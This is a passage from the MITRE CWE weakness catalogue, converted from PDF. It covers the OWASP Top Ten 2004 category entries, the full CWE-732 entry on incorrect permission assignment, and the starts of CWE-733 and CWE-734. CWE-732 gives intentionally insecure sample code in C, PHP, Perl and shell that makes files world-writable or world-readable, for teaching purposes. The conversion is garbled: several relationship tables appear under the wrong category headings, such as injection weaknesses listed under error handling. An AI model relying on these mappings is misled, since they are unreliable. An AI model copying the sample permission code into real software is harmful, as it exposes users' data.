Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2004.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>226</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
<td>234</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>134</td>
<td>Use of Externally-Controlled Format String</td>
<td>277</td>
<td></td>
</tr>
<tr>
<td>MemberOf</td>
<td>711</td>
<td>Weaknesses in OWASP Top Ten (2004)</td>
<td>1113</td>
<td></td>
</tr>
</tbody>
</table>

References

CWE-727: OWASP Top Ten 2004 Category A6 - Injection Flaws

Category ID: 727 (Category)  Status: Incomplete

Summary
Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2004.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>74</td>
<td>Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')</td>
<td>113</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>77</td>
<td>Improper Neutralization of Special Elements used in a Command ('Command Injection')</td>
<td>117</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>78</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
<td>121</td>
<td></td>
</tr>
</tbody>
</table>
CWE-728: OWASP Top Ten 2004 Category A7 - Improper Error Handling

**Category ID**: 728 (Category)  
**Status**: Incomplete

**Description**

**Summary**

Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2004.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>☀</td>
<td>89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
<td>711  159</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☀</td>
<td>91</td>
<td>XML Injection (aka Blind XPath Injection)</td>
<td>711  170</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☀</td>
<td>95</td>
<td>Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')</td>
<td>711  177</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☀</td>
<td>98</td>
<td>Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')</td>
<td>711  184</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☀</td>
<td>117</td>
<td>Improper Output Neutralization for Logs</td>
<td>711  223</td>
</tr>
<tr>
<td>MemberOf</td>
<td>☀</td>
<td>711</td>
<td>Weaknesses in OWASP Top Ten (2004)</td>
<td>711  1113</td>
</tr>
</tbody>
</table>

References


CWE-729: OWASP Top Ten 2004 Category A8 - Insecure Storage

**Category ID**: 729 (Category)  
**Status**: Incomplete

**Description**

**Summary**

Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2004.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>☀</td>
<td>14</td>
<td>Compiler Removal of Code to Clear Buffers</td>
<td>711  12</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☀</td>
<td>226</td>
<td>Sensitive Information Uncleared Before Release</td>
<td>711  417</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☀</td>
<td>261</td>
<td>Weak Cryptography for Passwords</td>
<td>711  465</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☀</td>
<td>311</td>
<td>Missing Encryption of Sensitive Data</td>
<td>711  549</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☀</td>
<td>321</td>
<td>Use of Hard-coded Cryptographic Key</td>
<td>711  566</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☀</td>
<td>326</td>
<td>Inadequate Encryption Strength</td>
<td>711  573</td>
</tr>
</tbody>
</table>

References

CWE-730: OWASP Top Ten 2004 Category A9 - Denial of Service

Category ID: 730 (Category) Status: Incomplete

Description

Summary

Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2004.

Relationships

Nature Type ID Name |
--- | --- | --- |
ParentOf 327 Use of a Broken or Risky Cryptographic Algorithm | 711 | 574 |
ParentOf 539 Information Exposure Through Persistent Cookies | 711 | 882 |
ParentOf 591 Sensitive Data Storage in Improperly Locked Memory | 711 | 934 |
ParentOf 598 Information Exposure Through Query Strings in GET Request | 711 | 941 |
MemberOf 711 Weaknesses in OWASP Top Ten (2004) | 711 | 1113 |

References


CWE-731: OWASP Top Ten 2004 Category A10 - Insecure Configuration Management

Category ID: 731 (Category) Status: Incomplete

Description

Summary

Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2004.

Relationships

Nature Type ID Name |
--- | --- | --- |
ParentOf 4 J2EE Environment Issues | 711 | 2 |
ParentOf 10 ASP.NET Environment Issues | 711 | 8 |
ParentOf 209 Information Exposure Through an Error Message | 711 | 397 |
ParentOf 215 Information Exposure Through Debug Information | 711 | 409 |
ParentOf 219 Sensitive Data Under Web Root | 711 | 412 |
ParentOf 275 Permission Issues | 711 | 489 |

References

CWE Version 2.11
CWE-732: Incorrect Permission Assignment for Critical Resource

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ParentOf</td>
<td>3</td>
<td>295</td>
<td>Improper Certificate Validation</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td>4</td>
<td>459</td>
<td>Incomplete Cleanup</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td>5</td>
<td>489</td>
<td>Leftover Debug Code</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td>6</td>
<td>526</td>
<td>Information Exposure Through Environmental Variables</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td>6</td>
<td>527</td>
<td>Exposure of CVS Repository to an Unauthorized Control Sphere</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td>6</td>
<td>528</td>
<td>Exposure of Core Dump File to an Unauthorized Control Sphere</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td>6</td>
<td>529</td>
<td>Exposure of Access Control List Files to an Unauthorized Control Sphere</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td>6</td>
<td>530</td>
<td>Exposure of Backup File to an Unauthorized Control Sphere</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td>6</td>
<td>531</td>
<td>Information Exposure Through Test Code</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td>6</td>
<td>532</td>
<td>Information Exposure Through Log Files</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td>6</td>
<td>533</td>
<td>Information Exposure Through Server Log Files</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td>6</td>
<td>534</td>
<td>Information Exposure Through Debug Log Files</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td>6</td>
<td>540</td>
<td>Information Exposure Through Source Code</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td>6</td>
<td>541</td>
<td>Information Exposure Through Include Source Code</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td>6</td>
<td>542</td>
<td>Information Exposure Through Cleanup Log Files</td>
<td>711</td>
</tr>
<tr>
<td>ParentOf</td>
<td>6</td>
<td>548</td>
<td>Information Exposure Through Directory Listing</td>
<td>711</td>
</tr>
<tr>
<td>MemberOf</td>
<td>7</td>
<td>711</td>
<td>Files or Directories Accessible to External Parties</td>
<td>711</td>
</tr>
</tbody>
</table>

References

CWE-732: Incorrect Permission Assignment for Critical Resource

**Weakness ID:** 732 (Weakness Class)  
**Status:** Draft

**Description**

**Summary**
The software specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.

**Extended Description**
When a resource is given a permissions setting that provides access to a wider range of actors than required, it could lead to the exposure of sensitive information, or the modification of that resource by unintended parties. This is especially dangerous when the resource is related to program configuration, execution or sensitive user data.

**Time of Introduction**
- Architecture and Design
- Implementation
- Installation
- Operation

**Applicable Platforms**

**Languages**
- Language-independent

**Modes of Introduction**
The developer may set loose permissions in order to minimize problems when the user first runs the program, then create documentation stating that permissions should be tightened. Since system administrators and users do not always read the documentation, this can result in insecure permissions being left unchanged.
The developer might make certain assumptions about the environment in which the software runs - e.g., that the software is running on a single-user system, or the software is only accessible to trusted administrators. When the software is running in a different environment, the permissions become a problem.

**Common Consequences**

**Confidentiality**
Read application data
Read files or directories
An attacker may be able to read sensitive information from the associated resource, such as credentials or configuration information stored in a file.

**Access Control**
Gain privileges / assume identity
An attacker may be able to modify critical properties of the associated resource to gain privileges, such as replacing a world-writable executable with a Trojan horse.

**Integrity**
Modify application data
Other
An attacker may be able to destroy or corrupt critical data in the associated resource, such as deletion of records from a database.

**Likelihood of Exploit**
Medium to High

**Detection Methods**

**Automated Static Analysis**
Automated static analysis may be effective in detecting permission problems for system resources such as files, directories, shared memory, device interfaces, etc. Automated techniques may be able to detect the use of library functions that modify permissions, then analyze function calls for arguments that contain potentially insecure values.

However, since the software’s intended security policy might allow loose permissions for certain operations (such as publishing a file on a web server), automated static analysis may produce some false positives - i.e., warnings that do not have any security consequences or require any code changes.

When custom permissions models are used - such as defining who can read messages in a particular forum in a bulletin board system - these can be difficult to detect using automated static analysis. It may be possible to define custom signatures that identify any custom functions that implement the permission checks and assignments.

**Automated Dynamic Analysis**
Automated dynamic analysis may be effective in detecting permission problems for system resources such as files, directories, shared memory, device interfaces, etc.

However, since the software’s intended security policy might allow loose permissions for certain operations (such as publishing a file on a web server), automated dynamic analysis may produce some false positives - i.e., warnings that do not have any security consequences or require any code changes.

When custom permissions models are used - such as defining who can read messages in a particular forum in a bulletin board system - these can be difficult to detect using automated dynamic analysis. It may be possible to define custom signatures that identify any custom functions that implement the permission checks and assignments.

**Manual Analysis**
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
Manual Static Analysis

Manual static analysis may be effective in detecting the use of custom permissions models and functions. The code could then be examined to identifying usage of the related functions. Then the human analyst could evaluate permission assignments in the context of the intended security model of the software.

Manual Dynamic Analysis

Manual dynamic analysis may be effective in detecting the use of custom permissions models and functions. The program could then be executed with a focus on exercising code paths that are related to the custom permissions. Then the human analyst could evaluate permission assignments in the context of the intended security model of the software.

Fuzzing

Fuzzing is not effective in detecting this weakness.

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and watch for library functions or system calls on OS resources such as files, directories, and shared memory. Examine the arguments to these calls to infer which permissions are being used.

Note that this technique is only useful for permissions issues related to system resources. It is not likely to detect application-level business rules that are related to permissions, such as if a user of a blog system marks a post as "private," but the blog system inadvertently marks it as "public."

Automated Static Analysis - Binary / Bytecode

SOAR Partial

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Inter-application Flow Analysis

Manual Static Analysis - Binary / Bytecode

SOAR Partial

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation

SOAR Partial

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Host-based Vulnerability Scanners – Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria
  - Web Application Scanner
  - Web Services Scanners
  - Database Scanners
Dynamic Analysis with manual results interpretation

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Host Application Interface Scanner
Cost effective for partial coverage:
Fuzz Tester
Framework-based Fuzzer
Automated Monitored Execution
Forced Path Execution

Manual Static Analysis - Source Code

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Context-configured Source Code Weakness Analyzer

Automated Static Analysis

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Configuration Checker

Architecture / Design Review

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples

Example 1:
The following code sets the umask of the process to 0 before creating a file and writing "Hello world" into the file.

C Example:

```c
#define OUTFILE "hello.out"
umask(0);
FILE *out;
/* Ignore CWE-59 (link following) for brevity */
out = fopen(OUTFILE, "w");
if (out) {
    fprintf(out, "hello world\n");
    fclose(out);
}
```

After running this program on a UNIX system, running the "ls -l" command might return the following output:

```
-rw-rw-rw- 1 username 13 Nov 24 17:58 hello.out
```
The "rw-rw-rw-" string indicates that the owner, group, and world (all users) can read the file and write to it.

**Example 2:**
This code creates a home directory for a new user, and makes that user the owner of the directory. If the new directory cannot be owned by the user, the directory is deleted.

**PHP Example:**

```php
function createUserDir($username){
    $path = '/home/'.$username;
    if(!mkdir($path)) {
        return false;
    } if(!chown($path,$username)){
        rmdir($path);
        return false;
    }
    return true;
}
```

Because the optional "mode" argument is omitted from the call to mkdir(), the directory is created with the default permissions 0777. Simply setting the new user as the owner of the directory does not explicitly change the permissions of the directory, leaving it with the default. This default allows any user to read and write to the directory, allowing an attack on the user's files. The code also fails to change the owner group of the directory, which may result in access by unexpected groups. This code may also be vulnerable to Path Traversal (CWE-22) attacks if an attacker supplies a non alphanumeric username.

**Example 3:**
The following code snippet might be used as a monitor to periodically record whether a web site is alive. To ensure that the file can always be modified, the code uses chmod() to make the file world-writable.

**Perl Example:**

```perl
$fileName = "secretFile.out";
if (-e $fileName) {
    chmod 0777, $fileName;
} my $outFH;
if (! open($outFH, ">>$fileName")) {
    Error("Couldn't append to $fileName: $!");
} my $dateString = FormatCurrentTime();
my $status = IsHostAlive("cwe.mitre.org");
print $outFH "$dateString cwe status: $status\n";
close($outFH);
```

The first time the program runs, it might create a new file that inherits the permissions from its environment. A file listing might look like:

```
-rw-r--r-- 1 username 13 Nov 24 17:58 secretFile.out
```

This listing might occur when the user has a default umask of 022, which is a common setting. Depending on the nature of the file, the user might not have intended to make it readable by everyone on the system.

The next time the program runs, however - and all subsequent executions - the chmod will set the file's permissions so that the owner, group, and world (all users) can read the file and write to it:

```
-rw-rw-rw- 1 username 13 Nov 24 17:58 secretFile.out
```

Perhaps the programmer tried to do this because a different process uses different permissions that might prevent the file from being updated.

**Example 4:**
The following command recursively sets world-readable permissions for a directory and all of its children:

**Shell Example:**

```bash
chmod -R ugo+r DIRNAME
```

If this command is run from a program, the person calling the program might not expect that all the files under the directory will be world-readable. If the directory is expected to contain private data, this could become a security problem.

### Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-0006</td>
<td>&quot;Everyone: Full Control&quot; permissions assigned to a mutex allows users to disable network connectivity.</td>
</tr>
<tr>
<td>CVE-2002-0969</td>
<td>Chain: database product contains buffer overflow that is only reachable through a .ini configuration file - which has &quot;Everyone: Full Control&quot; permissions.</td>
</tr>
<tr>
<td>CVE-2005-4868</td>
<td>Database product uses read/write permissions for everyone for its shared memory, allowing theft of credentials.</td>
</tr>
<tr>
<td>CVE-2007-5544</td>
<td>Product uses &quot;Everyone: Full Control&quot; permissions for memory-mapped files (shared memory) in inter-process communication, allowing attackers to tamper with a session.</td>
</tr>
<tr>
<td>CVE-2007-6033</td>
<td>Product creates a share with &quot;Everyone: Full Control&quot; permissions, allowing arbitrary program execution.</td>
</tr>
<tr>
<td>CVE-2008-0322</td>
<td>Driver installs its device interface with &quot;Everyone: Write&quot; permissions.</td>
</tr>
<tr>
<td>CVE-2008-0662</td>
<td>VPN product stores user credentials in a registry key with &quot;Everyone: Full Control&quot; permissions, allowing attackers to steal the credentials.</td>
</tr>
<tr>
<td>CVE-2009-0115</td>
<td>Device driver uses world-writable permissions for a socket file, allowing attackers to inject arbitrary commands.</td>
</tr>
<tr>
<td>CVE-2009-0141</td>
<td>Terminal emulator creates TTY devices with world-writable permissions, allowing an attacker to write to the terminals of other users.</td>
</tr>
<tr>
<td>CVE-2009-1073</td>
<td>LDAP server stores a cleartext password in a world-readable file.</td>
</tr>
<tr>
<td>CVE-2009-3289</td>
<td>Library function copies a file to a new target and uses the source file's permissions for the target, which is incorrect when the source file is a symbolic link, which typically has 0777 permissions.</td>
</tr>
<tr>
<td>CVE-2009-3482</td>
<td>Anti-virus product sets insecure &quot;Everyone: Full Control&quot; permissions for files under the &quot;Program Files&quot; folder, allowing attackers to replace executables with Trojan horses.</td>
</tr>
<tr>
<td>CVE-2009-3489</td>
<td>Photo editor installs a service with an insecure security descriptor, allowing users to stop or start the service, or execute commands as SYSTEM.</td>
</tr>
<tr>
<td>CVE-2009-3611</td>
<td>Product changes permissions to 0777 before deleting a backup; the permissions stay insecure for subsequent backups.</td>
</tr>
<tr>
<td>CVE-2009-3897</td>
<td>Product creates directories with 0777 permissions at installation, allowing users to gain privileges and access a socket used for authentication.</td>
</tr>
<tr>
<td>CVE-2009-3939</td>
<td>Driver installs a file with world-writable permissions.</td>
</tr>
</tbody>
</table>

### Potential Mitigations

**Implementation**

When using a critical resource such as a configuration file, check to see if the resource has insecure permissions (such as being modifiable by any regular user) [R.732.1], and generate an error or even exit the software if there is a possibility that the resource could have been modified by an unauthorized party.

**Architecture and Design**

**Moderate**

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully defining distinct user groups, privileges, and/or roles. Map these against data, functionality, and the related resources. Then set the permissions accordingly. This will allow you to maintain more fine-grained control over your resources. [R.732.2]

This can be an effective strategy. However, in practice, it may be difficult or time consuming to define these areas when there are many different resources or user types, or if the applications features change rapidly.
Architecture and Design

Operation

Sandbox or Jail

Limited

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails. The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Implementation

Installation

High

During program startup, explicitly set the default permissions or umask to the most restrictive setting possible. Also set the appropriate permissions during program installation. This will prevent you from inheriting insecure permissions from any user who installs or runs the program.

System Configuration

High

For all configuration files, executables, and libraries, make sure that they are only readable and writable by the software’s administrator.

Documentation

Do not suggest insecure configuration changes in documentation, especially if those configurations can extend to resources and other programs that are outside the scope of the application.

Installation

Do not assume that a system administrator will manually change the configuration to the settings that are recommended in the software’s manual.

Operation

System Configuration

Environmental Hardening

Ensure that the software runs properly under the Federal Desktop Core Configuration (FDCC) [R.732.4] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>275</td>
<td>Permission Issues</td>
<td>699</td>
<td>489</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>285</td>
<td>Improper Authorization</td>
<td>1000</td>
<td>502</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
<td>1000</td>
<td>1037</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>743</td>
<td>CERT C Secure Coding Section 09 - Input Output (FIO)</td>
<td>734</td>
<td>1137</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>753</td>
<td>2009 Top 25 - Porous Defenses</td>
<td>750</td>
<td>1146</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>803</td>
<td>2010 Top 25 - Porous Defenses</td>
<td>800</td>
<td>1232</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>815</td>
<td>OWASP Top Ten 2010 Category A6 - Security Misconfiguration</td>
<td>809</td>
<td>1251</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>840</td>
<td>Business Logic Errors</td>
<td>699</td>
<td>1287</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>857</td>
<td>CERT Java Secure Coding Section 12 - Input Output (FIO)</td>
<td>844</td>
<td>1300</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>859</td>
<td>CERT Java Secure Coding Section 14 - Platform Security (SEC)</td>
<td>844</td>
<td>1301</td>
</tr>
</tbody>
</table>
CWE-733: Compiler Optimization Removal or Modification of Security-critical Code

Nature | Type | ID | Name | Page
--- | --- | --- | --- | ---
ChildOf | 6 | 860 | CERT Java Secure Coding Section 15 - Runtime Environment (ENV) | 844 | 1302
ChildOf | 6 | 866 | 2011 Top 25 - Porous Defenses | 900 | 1313
ChildOf | 6 | 877 | CERT C++ Secure Coding Section 09 - Input Output (FIO) | 868 | 1319
ChildOf | 6 | 946 | SFP Secondary Cluster: Insecure Resource Permissions | 888 | 1375
ParentOf | 6 | 276 | Incorrect Default Permissions | 1000 | 491
ParentOf | 6 | 277 | Insecure Inherited Permissions | 1000 | 493
ParentOf | 6 | 278 | Insecure Preserved Inherited Permissions | 1000 | 494
ParentOf | 6 | 279 | Incorrect Execution-Assigned Permissions | 1000 | 495
ParentOf | 6 | 281 | Improper Preservation of Permissions | 1000 | 497
ParentOf | 6 | 689 | Permission Race Condition During Resource Copy | 1000 | 1072
RequiredBy | 6 | 689 | Permission Race Condition During Resource Copy | 1000 | 1072
MemberOf | 6 | 884 | CWE Cross-section | 884 | 1323
ParentOf | 6 | 1004 | Sensitive Cookie Without 'HttpOnly' Flag | 1000 | 1415

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CERT Java Secure Coding</td>
<td>FIO03-J</td>
<td>Create files with appropriate access permission</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>SEC01-J</td>
<td>Do not allow tainted variables in privileged blocks</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>ENV03-J</td>
<td>Do not grant dangerous combinations of permissions</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>FIO06-CPP</td>
<td>Create files with appropriate access permissions</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>FIO06-C</td>
<td>Create files with appropriate access permissions</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Accessing Functionality Not Properly Constrained by ACLs</td>
</tr>
<tr>
<td>17</td>
<td>Accessing, Modifying or Executing Executable Files</td>
</tr>
<tr>
<td>60</td>
<td>Reusing Session IDs (aka Session Replay)</td>
</tr>
<tr>
<td>61</td>
<td>Session Fixation</td>
</tr>
<tr>
<td>62</td>
<td>Cross Site Request Forgery</td>
</tr>
<tr>
<td>122</td>
<td>Privilege Abuse</td>
</tr>
<tr>
<td>127</td>
<td>Directory Indexing</td>
</tr>
<tr>
<td>180</td>
<td>Exploiting Incorrectly Configured Access Control Security Levels</td>
</tr>
<tr>
<td>234</td>
<td>Hijacking a privileged process</td>
</tr>
</tbody>
</table>

References


Maintenance Notes

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-396).

CWE-733: Compiler Optimization Removal or Modification of Security-critical Code

Weakness ID: 733 (Weakness Base) | Status: Incomplete
Description

1131
Summary
The developer builds a security-critical protection mechanism into the software but the compiler optimizes the program such that the mechanism is removed or modified.

Applicable Platforms
Languages
• C *(Often)*
• C++ *(Often)*
• All Compiled Languages

Common Consequences
Access Control
Other
Bypass protection mechanism
Other

Detection Methods
Black Box
This specific weakness is impossible to detect using black box methods. While an analyst could examine memory to see that it has not been scrubbed, an analysis of the executable would not be successful. This is because the compiler has already removed the relevant code. Only the source code shows whether the programmer intended to clear the memory or not, so this weakness is indistinguishable from others.

White Box
This weakness is only detectable using white box methods (see black box detection factor). Careful analysis is required to determine if the code is likely to be removed by the compiler.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2008-1685</td>
<td>C compiler optimization, as allowed by specifications, removes code that is used to perform checks to detect integer overflows.</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>⬠</td>
<td>435</td>
<td>Interaction Error</td>
<td>699 750</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬠</td>
<td>758</td>
<td>Reliance on Undefined, Unspecified, or Implementation-Defined Behavior</td>
<td>1000 1156</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬠</td>
<td>976</td>
<td>SFP Secondary Cluster: Compiler</td>
<td>888 1386</td>
</tr>
<tr>
<td>ParentOf</td>
<td>⬠</td>
<td>14</td>
<td>Compiler Removal of Code to Clear Buffers</td>
<td>699 12 1000</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>8</td>
<td>Buffer Overflow in an API Call</td>
</tr>
<tr>
<td>9</td>
<td>Buffer Overflow in Local Command-Line Utilities</td>
</tr>
<tr>
<td>10</td>
<td>Buffer Overflow via Environment Variables</td>
</tr>
<tr>
<td>24</td>
<td>Filter Failure through Buffer Overflow</td>
</tr>
<tr>
<td>46</td>
<td>Overflow Variables and Tags</td>
</tr>
</tbody>
</table>

References

CWE-734: Weaknesses Addressed by the CERT C Secure Coding Standard

View ID: 734 (View: Graph)

Objective
CWE entries in this view (graph) are fully or partially eliminated by following the CERT C Secure Coding Standard. Since not all rules map to specific weaknesses, this view is incomplete.
View Data

View Metrics

<table>
<thead>
<tr>
<th>CWEs in this view</th>
<th>Total CWEs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Total</td>
<td>106</td>
</tr>
<tr>
<td>Views</td>
<td>0</td>
</tr>
<tr>
<td>Categories</td>
<td>15</td>
</tr>
<tr>
<td>Weaknesses</td>
<td>90</td>
</tr>
<tr>
<td>Compound_Elements</td>
<td>1</td>
</tr>
</tbody>
</table>

View Audience

Developers
By following the CERT C Secure Coding Standard, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.

Software Customers
If a software developer claims to be following the CERT C Secure Coding standard, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

Educators
Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>HasMember</td>
<td>C</td>
<td>735</td>
<td>CERT C Secure Coding Section 01 - Preprocessor (PRE)</td>
<td>734</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>736</td>
<td>CERT C Secure Coding Section 02 - Declarations and Initialization (DCL)</td>
<td>734</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>737</td>
<td>CERT C Secure Coding Section 03 - Expressions (EXP)</td>
<td>734</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>738</td>
<td>CERT C Secure Coding Section 04 - Integers (INT)</td>
<td>734</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>739</td>
<td>CERT C Secure Coding Section 05 - Floating Point (FLP)</td>
<td>734</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>740</td>
<td>CERT C Secure Coding Section 06 - Arrays (ARR)</td>
<td>734</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>741</td>
<td>CERT C Secure Coding Section 07 - Characters and Strings (STR)</td>
<td>734</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>742</td>
<td>CERT C Secure Coding Section 08 - Memory Management (MEM)</td>
<td>734</td>
</tr>
<tr>
